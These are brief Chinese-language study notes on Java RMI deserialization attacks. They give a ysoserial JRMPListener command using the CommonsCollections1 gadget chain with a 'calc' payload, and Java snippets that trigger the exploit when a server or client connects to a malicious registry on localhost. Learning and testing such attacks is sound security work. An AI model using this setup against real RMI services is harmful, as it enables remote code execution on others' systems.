基础知识

动态代理
反射

攻击方式

注册端攻击服务端

1	`java` `-cp .\ysoserial-master-8eb5cbfbf6-1.jar` `ysoserial.exploit.JRMPListener` `1099` `CommonsCollections1` `"calc"`

public static void main(String[] args) throws RemoteException, MalformedURLException, NotBoundException, RemoteException {
    //开启一个恶意的reg，然后server去过去链接注册，则会中招
    String url = "rmi://127.0.0.1:1099/setUser";
    Naming.unbind(url);
}

注册端攻击客户端

public static void main(String[] args) {
    //PS F:\tools\EXP> java -cp .\ysoserial-master-8eb5cbfbf6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "calc"
    try{
        String url = "rmi://127.0.0.1:1099/exp";
        User user = (User) Naming.lookup(url);
 
    }catch(Exception e){
        e.printStackTrace();
    }
}